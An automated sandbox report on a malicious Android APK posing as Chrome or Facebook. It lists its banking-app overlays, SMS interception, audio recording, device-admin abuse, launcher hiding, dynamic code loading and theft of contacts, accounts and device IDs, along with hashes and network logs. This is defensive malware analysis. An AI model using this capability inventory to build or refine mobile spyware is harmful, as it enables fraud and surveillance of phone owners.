Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:22.0.0
Analysis ID:55021
Start time:15:45:53
Joe Sandbox Product:CloudBasic
Start date:16.04.2018
Overall analysis duration:0h 3m 41s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:chrome.apk
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 6.0
Detection:MAL
Classification:mal76.evad.expl.adwa.spyw.andAPK@0/252@0/0
Warnings:
Show All
  • No interacted views
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingDetection
Threshold760 - 100Report FP / FNmalicious

Classification

Signature Overview

Click to jump to signature section


Change of System Appearance:

barindex
May access the Android keyguard (lock screen)Show sources
Source: AndroidManifest.xmlString found in binary or memory: android.permission.SEND_SMS!android.permission.WRITE_SETTINGS#android.permission.DISABLE_KEYGUARD android.permission.READ_CONTACTS$android.permission.CHANGE_WIFI_STATE$android.permission.ACCESS_WIFI_STATE
Acquires a wake lockShow sources
Source: com.Loader;->start:831API Call: android.os.PowerManager$WakeLock.acquire
Mutes ringtone soundShow sources
Source: com.Loader$b;->onCallStateChanged:81API Call: android.media.AudioManager.setRingerMode("0")
Source: com.Loader$s;->onReceive:335API Call: android.media.AudioManager.setRingerMode("0")
Source: com.Loader$u$1;->a:19API Call: android.media.AudioManager.setRingerMode("0")
Source: com.Loader$w;->a:31API Call: android.media.AudioManager.setRingerMode("0")
Source: com.n;->b:60API Call: android.media.AudioManager.setRingerMode("0")

AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: chrome.apkvirustotal: Detection: 53%Perma Link

Operating System Destruction:

barindex
Deletes other packagesShow sources
Source: com.Loader$c$2$1;->b:31API Call: android.content.Context.startActivity
Lists and deletes files in the same contextShow sources
Source: com.Loader$ap;->run:13API Calls in same method context: File.listFiles,File.delete

Spam, unwanted Advertisements and Ransom Demands:

barindex
Sends E-MailShow sources
Source: com.Loader$s$e;->run:30API Call: javax.mail.Transport.sendMessage
Source: com.sun.mail.util.logging.MailHandler;->verifySettings0:826API Call: javax.mail.Transport.sendMessage
Source: javax.mail.Transport;->send0:29API Call: javax.mail.Transport.sendMessage
Source: javax.mail.Transport;->send0:42API Call: javax.mail.Transport.sendMessage
Dials phone numbersShow sources
Source: com.Loader$aa;->a:24API Call: android.content.Context.startActivity
Has permission to perform phone calls in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Has permission to send SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.SEND_SMS
Has permission to write to the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
May block phone calls / Accesses private ITelephony interfaceShow sources
Source: com.Loader$b;->onCallStateChanged:69API Call: java.lang.Class.getDeclaredMethod("getITelephony")
Sends SMS using SmsManagerShow sources
Source: com.n;->b:61API Call: android.telephony.SmsManager.sendMultipartTextMessage

Privilege Escalation:

barindex
Starts an activity on device admin enabledShow sources
Source: com.rwe.rtAdminReceiver;->a:7API Call: android.app.ReceiverRestrictedContext.startActivity("Intent { act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10000000 }")
Source: com.rwe.rtAdminReceiver;->onDisableRequested:19API Call: android.content.Context.startActivity (not executed)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Has permission to record audio in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Records audio/mediaShow sources
Source: com.j;->a:48API Call: android.media.MediaRecorder.start
Accesses the audio/media managersShow sources
Source: com.j;->a:36API Call: android.media.MediaRecorder.<init>

E-Banking Fraud:

barindex
Contains package name strings related to banking (usually for identifying banking APKs)Show sources
Source: Lcom/c;-><clinit>()VMethod String: com.wooribank.pib.smart, com.kbstar.kbbank, com.ibk.neobanking, com.sc.danb.scbankapp, com.shinhan.sbanking, com.hanabank.ebk.channel.android.hananbank
Has functionalty to add an overlay to other appsShow sources
Source: com.Loader$an;->run:26API Call: WindowManager.addView
Source: com.Loader;->start:938API Call: WindowManager.addView
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS

Networking:

barindex
Checks an internet connection is availableShow sources
Source: com.Loader$s;->onReceive:229API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.Loader$s;->onReceive:238API Call: android.net.wifi.WifiManager.isWifiEnabled
Source: com.Loader;->f:497API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.Loader;->f:515API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: com.Loader;->f:545API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: com.Loader;->onStop:701API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: com.p;->a:185API Call: android.net.wifi.WifiManager.isWifiEnabled
Enables or disables WIFIShow sources
Source: com.Loader;->a:174API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: com.p;->a:186API Call: android.net.wifi.WifiManager.setWifiEnabled
Opens an internet connectionShow sources
Source: a.b;->a:20API Call: java.net.URL.openConnection (not executed)
Source: com.b.a.a.q;->d:7API Call: java.net.Socket.connect (not executed)
Source: javax.activation.URLDataSource;->getContentType:4API Call: java.net.URL.openConnection (not executed)
Source: javax.activation.URLDataSource;->getOutputStream:14API Call: java.net.URL.openConnection (not executed)
Source: com.Loader$y$1$1;->run:5API Call: java.net.URL.openConnection (not executed)
Source: com.sun.mail.util.SocketFetcher;->createSocket:129API Call: java.net.Socket.connect (not executed)
Source: com.sun.mail.util.SocketFetcher;->createSocket:151API Call: java.net.Socket.connect (not executed)
Performs DNS lookups (Java API)Show sources
Source: com.sun.mail.util.logging.MailHandler;->verifySettings0:942API Call: java.net.InetAddress.getByName (not executed)
Source: javax.mail.Service;->connect:68API Call: java.net.InetAddress.getByName (not executed)
Source: javax.mail.URLName;->getHostAddress:81API Call: java.net.InetAddress.getByName (not executed)
Source: com.sun.mail.util.SocketFetcher;->getSocket:192API Call: java.net.InetAddress.getByName (not executed)
Scans for WIFI networksShow sources
Source: com.Loader;->c:303API Call: android.net.wifi.WifiManager.startScan
Source: com.Loader;->f:520API Call: android.net.wifi.WifiManager.getScanResults
Found strings which match to known social media urlsShow sources
Source: resources.arsc, test.dex.dr, androidString found in binary or memory: Facebook equals www.facebook.com (Facebook)
Urls found in memory or binary dataShow sources
Source: androidString found in binary or memory: http://127.0.0.1:
Source: test.dex.dr, androidString found in binary or memory: http://my.tv.sohu.com/user/%s
Source: AndroidManifest.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: test.dex.dr, androidString found in binary or memory: https://
Source: rxjava.propertiesString found in binary or memory: https://github.com/ReactiveX/RxJava.git
Uses HTTP for connecting to the internetShow sources
Source: a.b;->a:42API Call: java.net.HttpURLConnection.connect

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Installs a new wake lock (to get activate on phone screen on)Show sources
Source: com.Loader;->start:825API Call: android.os.PowerManager.newWakeLock

Remote Access Functionality:

barindex
Has permission to mount or unmount file systems (removable storage)Show sources
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS

Stealing of Sensitive Information:

barindex
Queries SIM card contact informationShow sources
Source: com.a;->a:24API Call: android.net.Uri.parse
Checks if a SIM card is installedShow sources
Source: com.Loader$ag$1;->a:12API Call: android.telephony.TelephonyManager.getSimState
Source: com.Loader;->c:335API Call: android.telephony.TelephonyManager.getSimState
Creates SMS data (e.g. PDU)Show sources
Source: com.Loader$s;->onReceive:81API Call: android.telephony.SmsMessage.createFromPdu
Has permission to read contactsShow sources
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Has permission to read the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.READ_SMS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permission to receive SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Has permissions to create, read or change account settings (inlcuding account password settings)Show sources
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
Monitors incoming SMSShow sources
Source: com.vjdf.ytMyReceiverRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Queries MMS dataShow sources
Source: com.Loader;->start:930API Call: android.net.Uri.parse("content://mms/#")
Source: com.e;->a:10API Call: android.net.Uri.parse("content://mms")
Source: com.e;->a:55API Call: android.net.Uri.parse("content://mms/part")
Queries SMS dataShow sources
Source: com.Loader$k$1;->a:30API Call: android.net.Uri.parse("content://sms/")
Source: com.Loader$s;->onReceive:343API Call: android.net.Uri.parse("content://sms/inbox")
Source: com.Loader$s;->onReceive:361API Call: android.net.Uri.parse("content://sms")
Queries list of installed packagesShow sources
Source: com.Loader$ab;->a:8API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.Loader;->getFirstAppDate:639API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.Loader;->start:887API Call: android.content.pm.PackageManager.getInstalledPackages
Queries phone contact informationShow sources
Source: com.a;->a:11Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: com.p;->a:152API Call: android.net.Uri.parse content://com.android.contacts/data
Queries stored mail and application accounts (e.g. Gmail or Whatsup)Show sources
Source: com.Loader$at;->a:20API Call: android.accounts.Account.name
Source: com.Loader$aw;->a:18API Call: android.accounts.Account.name
Source: com.Loader$aw;->a:27API Call: android.accounts.Account.name
Source: com.Loader$b$a$a;->onClick:10API Call: android.accounts.AccountManager.getAccounts
Source: com.Loader$b$a$a;->onClick:12API Call: android.accounts.Account.type
Source: com.Loader$s;->onReceive:404API Call: android.accounts.AccountManager.getAccounts
Source: com.Loader$s;->onReceive:406API Call: android.accounts.Account.type
Source: com.Loader;->c:249API Call: android.accounts.AccountManager.getAccounts
Source: com.Loader;->c:252API Call: android.accounts.Account.name
Source: com.Loader;->c:256API Call: android.accounts.Account.type
Queries the list of configured WIFI access pointsShow sources
Source: com.p$a;->run:3API Call: android.net.wifi.WifiManager.getConfiguredNetworks
Redirects camera/video feedShow sources
Source: com.j;->a:44API Call: android.media.MediaRecorder.setOutputFile

Persistence and Installation Behavior:

barindex
Sets an intent to the APK data type (used to install other APKs)Show sources
Source: com.b;->a:18API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")

Data Obfuscation:

barindex
Found very long method stringsShow sources
Source: Lcom/Loader;-><init>()VMethod string: \n body {\n font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n }\n\n label {\n color: #222;\n line-height: 16px;\n font-size: 100%;\n text-decoration: none;\n Length: 5599
Loads new DEX files via dynamic constructorShow sources
Source: com.wefd.esMyApplication;->onCreate:60API Call: Constructor call: public dalvik.system.DexClassLoader(java.lang.String,java.lang.String,java.lang.String,java.lang.ClassLoader)
Obfuscates method namesShow sources
Source: chrome.apkTotal valid method names: 44%
Uses reflectionShow sources
Source: com.rwe.rtAdminReceiver$1;->run:12API Call: java.lang.reflect.Method.invoke
Source: javax.activation.CommandInfo$Beans;->instantiate:8API Call: java.lang.reflect.Method.invoke
Source: org.msgpack.core.buffer.b;->a:54API Call: java.lang.reflect.Method.invoke
Source: org.msgpack.core.buffer.b;->a:80API Call: java.lang.reflect.Method.invoke
Source: org.msgpack.core.buffer.b;->b:85API Call: java.lang.reflect.Method.invoke
Source: org.msgpack.core.buffer.b;->b:87API Call: java.lang.reflect.Method.invoke
Source: org.msgpack.core.buffer.c;-><clinit>:27API Call: java.lang.reflect.Field.get
Source: com.Loader$aq;->onSignalStrengthsChanged:9API Call: java.lang.reflect.Method.invoke
Source: com.Loader$b;->onCallStateChanged:71API Call: java.lang.reflect.Method.invoke
Source: com.Loader;->f:486API Call: java.lang.reflect.Method.invoke
Source: com.Loader;->requestIgnoreBatteryOpt:729API Call: java.lang.reflect.Method.invoke
Source: com.Loader;->start:911API Call: java.lang.reflect.Method.invoke
Source: com.a$1;->run:8API Call: java.lang.reflect.Method.invoke
Source: com.das.vgMainService;->a:8API Call: java.lang.reflect.Method.invoke
Source: com.das.vgMainService;->a:15API Call: java.lang.reflect.Method.invoke
Source: com.sun.mail.util.MimeUtil;->cleanContentType:22API Call: java.lang.reflect.Method.invoke
Source: com.sun.mail.util.SocketFetcher;->createSocket:123API Call: java.lang.reflect.Method.invoke
Source: com.sun.mail.util.SocketFetcher;->getSocketFactory:292API Call: java.lang.reflect.Method.invoke
Source: com.sun.mail.util.SocketFetcher;->matchCert:310API Call: java.lang.reflect.Method.invoke
Source: com.sun.mail.util.SocketFetcher;->matchCert:322API Call: java.lang.reflect.Method.invoke
Source: com.wefd.esMyApplication;->a:15API Call: java.lang.reflect.Method.invoke

Spreading:

barindex
Has permission to change the WIFI configuration including connecting and disconnectingShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Accesses external storage locationShow sources
Source: com.Loader$x;->a:8API Call: android.os.Environment.getExternalStorageState
Source: com.Loader$x;->a:15API Call: android.os.Environment.getExternalStorageDirectory
Source: com.c;-><clinit>:21API Call: android.os.Environment.getExternalStorageDirectory
Source: com.j;-><init>:3API Call: android.os.Environment.getExternalStorageState
Source: com.j;-><init>:7API Call: android.os.Environment.getExternalStorageDirectory

System Summary:

barindex
Requests permissions only permitted to signed APKsShow sources
Source: submitted apkRequest permission: android.permission.BROADCAST_SMS
Source: submitted apkRequest permission: android.permission.PACKAGE_USAGE_STATS
Source: submitted apkRequest permission: android.permission.STOP_APP_SWITCHES
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.MODIFY_AUDIO_SETTINGS
Source: submitted apkRequest permission: android.permission.MODIFY_PHONE_STATE
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_MMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Classification labelShow sources
Source: classification engineClassification label: mal76.evad.expl.adwa.spyw.andAPK@0/252@0/0
Reads shares settingsShow sources
Source: a.a;->a:5API Call: android.content.SharedPreferences.getString
Source: com.Loader$ai;->a:8API Call: android.content.SharedPreferences.getString
Source: com.Loader$b;->onCallStateChanged:48API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader$b;->onCallStateChanged:80API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader$i;->b:10API Call: android.content.SharedPreferences.getString
Source: com.Loader$i;->b:24API Call: android.content.SharedPreferences.getString
Source: com.Loader$i;->b:34API Call: android.content.SharedPreferences.getString
Source: com.Loader$i;->b:69API Call: android.content.SharedPreferences.getString
Source: com.Loader$k$1;->a:10API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader$s;->onReceive:137API Call: android.content.SharedPreferences.getString
Source: com.Loader$s;->onReceive:161API Call: android.content.SharedPreferences.getString
Source: com.Loader$s;->onReceive:391API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader$s;->onReceive:414API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader$s;->onReceive:449API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader;->a:139API Call: android.content.SharedPreferences.getString
Source: com.Loader;->a:152API Call: android.content.SharedPreferences.getString
Source: com.Loader;->a:159API Call: android.content.SharedPreferences.getString
Source: com.Loader;->f:592API Call: android.content.SharedPreferences.getBoolean
Source: com.Loader;->start:901API Call: android.content.SharedPreferences.getString

Anti Debugging:

barindex
Creates a new dex file (likely to load a new code)Show sources
Source: com.wefd.esMyApplication;->onCreate:27API Call: java.io.File.<init>

Malware Analysis System Evasion:

barindex
Accesses android OS build fieldsShow sources
Source: com.Loader;->c:324Field Access: android.os.Build$VERSION.RELEASE
Source: com.Loader;->c:326Field Access: android.os.Build.MODEL
Source: com.Loader;->c:330Field Access: android.os.Build.DISPLAY
Queries several sensitive phone informationsShow sources
Source: Ljavax/mail/Session;->loadProvidersFromStream(Ljava/io/InputStream;)VMethod string: "version"
Source: Lorg/msgpack/core/buffer/c;-><clinit>()VMethod string: "android"
Source: Ljavax/mail/Session;->loadProvidersFromStream(Ljava/io/InputStream;)VMethod string: "type"
Source: Lcom/p;->a(Landroid/content/Context;)Ljava/util/ArrayList;Method string: "phone"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: a.a;->a:12API Call: android.provider.Settings$Secure.getString
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: test.dex.drBinary or memory string: Ljava/lang/VirtualMachineError;

Hooking and other Techniques for Hiding and Protection:

barindex
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)Show sources
Source: com.Loader$s;->onReceive:341API Call: com.Loader$s.abortBroadcast
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Queries list of running processes/tasksShow sources
Source: com.Loader;->getTopActivityName$loader_release:659API Call: android.app.ActivityManager.getRunningTasks
Removes its application launcher (likely to stay hidden)Show sources
Source: com.rwe.gsActivity$1;->run:8API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Uses Crypto APIsShow sources
Source: com.p;->a:211API Call: javax.crypto.Cipher.getInstance
Source: com.p;->a:212API Call: javax.crypto.Cipher.init
Source: com.p;->a:213API Call: javax.crypto.Cipher.doFinal
Source: com.sun.mail.smtp.DigestMD5;->authClient:49API Call: java.security.MessageDigest.getInstance
Source: com.sun.mail.smtp.DigestMD5;->authClient:88API Call: java.security.MessageDigest.digest
Source: com.sun.mail.smtp.DigestMD5;->authClient:89API Call: java.security.MessageDigest.update
Source: com.sun.mail.smtp.DigestMD5;->authClient:100API Call: java.security.MessageDigest.update
Source: com.sun.mail.smtp.DigestMD5;->authClient:103API Call: java.security.MessageDigest.digest
Source: com.sun.mail.smtp.DigestMD5;->authClient:129API Call: java.security.MessageDigest.update
Source: com.sun.mail.smtp.DigestMD5;->authClient:135API Call: java.security.MessageDigest.digest
Source: com.sun.mail.smtp.DigestMD5;->authClient:140API Call: java.security.MessageDigest.update
Source: com.sun.mail.smtp.DigestMD5;->authClient:198API Call: java.security.MessageDigest.digest
Source: com.sun.mail.smtp.DigestMD5;->authServer:236API Call: java.security.MessageDigest.update
Source: com.sun.mail.smtp.DigestMD5;->authServer:242API Call: java.security.MessageDigest.digest
Source: com.sun.mail.smtp.DigestMD5;->authServer:247API Call: java.security.MessageDigest.update
Source: com.sun.mail.smtp.DigestMD5;->authServer:249API Call: java.security.MessageDigest.digest

Language, Device and Operating System Detection:

barindex
Queries the WIFI MAC addressShow sources
Source: com.Loader;->f:546API Call: android.net.wifi.WifiInfo.getMacAddress
Queries the network operator nameShow sources
Source: com.Loader;->f:585API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: a.a;->a:26API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.Loader$at;->a:14API Call: android.telephony.TelephonyManager.getLine1Number
Source: com.Loader$s$e$1;->a:16API Call: android.telephony.TelephonyManager.getLine1Number
Source: com.Loader;->c:337API Call: android.telephony.TelephonyManager.getLine1Number
Source: com.Loader;->c:338API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.Loader;->start:797API Call: android.telephony.TelephonyManager.getLine1Number

Antivirus Detection

Initial Sample

SourceDetectionScannerLabelLink
chrome.apk53%virustotalBrowse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshots

android-buttoncam-android

Created / dropped Files

/data/user/0/gfdg.qwe.gsdg/files/test.dex
File Type:Dalvik dex file version 035
Size (bytes):637864
Entropy (8bit):5.763529406223743
Encrypted:false
MD5:307D2780185BA2B8C5AD4C9256407504
SHA1:ABD6C061F19B457517301238C3207FDCBB11E1AF
SHA-256:E86995FEBCE96D9DB7D4963AD4CA4B974BA614E25213850757323D0E4ABBB803
SHA-512:6178F71E008A188BD63D092863B8B09E9FE83A34E1B5D2B66E27064BBEE36BC67D728E61C6BD471FCAD0138F4DA7E8BF42242374C00A7FE41F10E5FD480308BE
Malicious:false
Reputation:low

Contacted Domains/Contacted IPs

Contacted Domains

No contacted domains info

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryFlagASNASN NameMalicious
108.177.126.188United States
15169GOOGLE-GoogleIncUSfalse
8.8.8.8United States
15169GOOGLE-GoogleIncUSfalse

Static File Info

General

File type:Zip archive data, at least v2.0 to extract
Entropy (8bit):7.92101223608003
TrID:
  • Android Package (19004/1) 52.05%
  • Java Archive (13504/1) 36.99%
  • ZIP compressed archive (4004/1) 10.97%
File name:chrome.apk
File size:362131
MD5:03108e7f426416b0eaca9132f082d568
SHA1:e2af0ce5ed66cd81a403f6d0a8db1ac3f418f6e8
SHA256:6f20f227f79debfdae32233b59f4dc15c7faf05036b21e8cd46b24ebc52f0bf8
SHA512:33acb978aa6e1e8279930eba8f3396cc4ad6919fac1868a8e06755fe76bb679cd09102570c1d53d159f40e8464200e2e8a2ac90040123651c726f026bd46f3f0
File Content Preview:PK............_..u.....+......AndroidManifest.xml..Kl.I..k.H...8/......:..x...8...<3....o.$&.c..!.....8p.#...!. .....8 .9 .V+..qX!N.V+......MO.U.x.ww.].........U.j.V*.Z.:..7U.....y.4...}...>.s.7.;.....WP...A.......A.C.eJuA.P.Z.r.[...*Wj.....uT(.........=.

File Icon

Static APK Info

General

Label:Facebook
Minimum SDK required:14
Target SDK required:21
Version Code:1
Version Name:1
Package Name:gfdg.qwe.gsdg
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true

Activities

NameIs Entrypoint
gfdg.qwe.gsdgcom.rwe.gsActivitytrue
gfdg.qwe.gsdgcom.wefd.ddMyWebActivity

Receivers

  • com.rwe.rtAdminReceiver
  • Intent: android.app.action.DEVICE_ADMIN_ENABLED
  • com.vjdf.ytMyReceiver
  • Intent: android.NET.conn.CONNECTIVITY_CHANGE, android.Net.wifi.WIFI_STATE_CHANGED, android.net.wifi.STATE_CHANGE, android.intent.action.BOOT_COMPLETED, android.intent.action.USER_PRESENT, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REPLACED, android.intent.action.PACKAGE_REMOVED, android.provider.Telephony.SMS_RECEIVED

Services

  • com.das.hfCancelNoticeService
  • com.das.vgMainService

Permission Requested

  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.BROADCAST_SMS
  • android.permission.CALL_PHONE
  • android.permission.CHANGE_NETWORK_STATE
  • android.permission.CHANGE_WIFI_STATE
  • android.permission.DISABLE_KEYGUARD
  • android.permission.EXPAND_STATUS_BAR
  • android.permission.GET_ACCOUNTS
  • android.permission.GET_TASKS
  • android.permission.INTERNET
  • android.permission.MODIFY_AUDIO_SETTINGS
  • android.permission.MODIFY_PHONE_STATE
  • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
  • android.permission.PACKAGE_USAGE_STATS
  • android.permission.PROCESS_OUTGOING_CALLS
  • android.permission.READ_CONTACTS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.RECEIVE_BOOT_COMPLETED
  • android.permission.RECEIVE_MMS
  • android.permission.RECEIVE_SMS
  • android.permission.RECORD_AUDIO
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.RESTART_PACKAGES
  • android.permission.SEND_SMS
  • android.permission.STOP_APP_SWITCHES
  • android.permission.SYSTEM_ALERT_WINDOW
  • android.permission.SYSTEM_OVERLAY_WINDOW
  • android.permission.WAKE_LOCK
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.WRITE_SETTINGS
  • android.permission.WRITE_SMS

Certificate

Name:classes.dex
Issuer:CN=jppyzsssn,OU=ouxiozhgzq,O=lmljdhggb,L=syxdtboctk,ST=wgrotjcgu,C=US
Subject:CN=jppyzsssn,OU=ouxiozhgzq,O=lmljdhggb,L=syxdtboctk,ST=wgrotjcgu,C=US

Resources

NameTypeSize
CERT.SFASCII text, with CRLF line terminators632
device_admin.xmldata472
CERT.RSAdata1385
AndroidManifest.xmldata11036
classes.dexDalvik dex file version 03510740
rxjava.propertiesASCII text661
MANIFEST.MFASCII text, with CRLF line terminators589
resources.arscdata1068
icon.pngPNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced2829
dbASCII text, with very long lines, with no line terminators850488
test.dex.drDalvik dex file version 035637864

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Apr 16, 2018 15:46:15.677576065 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:15.677625895 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:15.677810907 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:15.679362059 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:15.679406881 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:16.291137934 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:16.291344881 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:16.345664978 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:16.345674038 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:16.345814943 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:16.564487934 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:16.564691067 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:16.567519903 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:16.567560911 CEST522835896108.177.126.188192.168.2.10
Apr 16, 2018 15:46:16.567939043 CEST358965228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:23.526664972 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:23.526716948 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:23.526875973 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:23.527379036 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:23.527401924 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:24.141500950 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:24.141516924 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:24.141520977 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:24.141721964 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:24.194559097 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:24.194772959 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:24.198385954 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:24.198426008 CEST522846510108.177.126.188192.168.2.10
Apr 16, 2018 15:46:24.198860884 CEST465105228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.122164965 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.122229099 CEST522855816108.177.126.188192.168.2.10
Apr 16, 2018 15:46:38.122431040 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.123209953 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.123245001 CEST522855816108.177.126.188192.168.2.10
Apr 16, 2018 15:46:38.765567064 CEST522855816108.177.126.188192.168.2.10
Apr 16, 2018 15:46:38.765594006 CEST522855816108.177.126.188192.168.2.10
Apr 16, 2018 15:46:38.765808105 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.950237036 CEST522855816108.177.126.188192.168.2.10
Apr 16, 2018 15:46:38.950448990 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.954108953 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:46:38.954154015 CEST522855816108.177.126.188192.168.2.10
Apr 16, 2018 15:46:38.954612970 CEST558165228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:06.784037113 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:06.784066916 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:06.784185886 CEST349725228192.168.2.10108.177.126.188
